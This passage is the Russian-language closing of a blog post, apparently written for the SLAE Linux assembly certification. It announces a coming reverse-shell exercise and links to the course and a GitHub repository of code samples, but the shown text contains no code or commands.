Извините за длинный пост, но я надеюсь, что вы узнали что-то новое, и спасибо за то, что дочитали до конца, если вы зашли так далеко! Далее я проделаю аналогичное упражнение, но с обратной оболочкой.
Этот пост в блоге был создан для выполнения требований сертификации SecurityTube Linux Assembly Expert:
http://securitytube-training.com/online-courses/securitytybe-linux-assembly-expert/
ID учащегося: SLAE-1286
Примеры кода можно найти по адресу https://github.com/ryuke-acker/slae-writeups.